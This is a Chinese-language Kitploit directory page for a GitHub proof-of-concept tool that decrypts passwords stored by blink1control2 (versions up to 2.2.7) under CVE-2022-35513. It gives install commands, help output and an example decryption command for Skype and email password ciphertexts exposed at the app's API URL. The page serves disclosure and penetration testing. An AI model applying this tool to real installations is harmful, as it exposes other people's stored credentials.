Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-35513 — CVE-2022-35513 | blink1-pass-decrypt | Kitploit
工具/GitHubGitHub/p1ckzi/cve-2022-35513
密码破解加密/解密工具漏洞分析漏洞利用Web应用程序漏洞利用密码学
GitHubp1ckzi/cve-2022-35513

CVE-2022-35513

CVE-2022-35513 | blink1-pass-decrypt

查看仓库
214年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

blink1-pass-decrypt ⭐

用于对 API 服务器 /blink/input 处发现的密文进行解密的 PoC 和简单脚本,
适用于 blink1control2 安装(版本 <=2.2.7)。

漏洞利用 - CVE-2022-35513 ❗

blink1control2 应用使用弱密码加密和不安全的存储方式,可通过访问 API 服务器的 /blink1/input url 发现。
其中列出了 Skype 登录和电子邮件的密码密文,并且可以被解密。

先决条件 ✔

  • node
  • node argparse 模块
  • node simplecrypt 模块
root@kitploit:~
sudo apt install npm
npm install argparse
npm install simplecrypt

用法 ℹ

使用 ./blink1-pass-decrypt 或 node blink1-pass-decrypt,加上 -h 或 --help 即可查看帮助菜单:

root@kitploit:~
usage: blink-pass-decrypt [-h] ciphertext

decrypts passwords found at the /blink/input url of the blink1control2 api
server (version <= 2.2.7 ).

positional arguments:
  ciphertext  encrypted password string to use

optional arguments:
  -h, --help  show this help message and exit

示例:

root@kitploit:~
node blink1-pass-decrypt '69827e0ecea378946e999df4313cb9a1e49c049a7b9bac8bf1105cdec9f221c8'
下载工具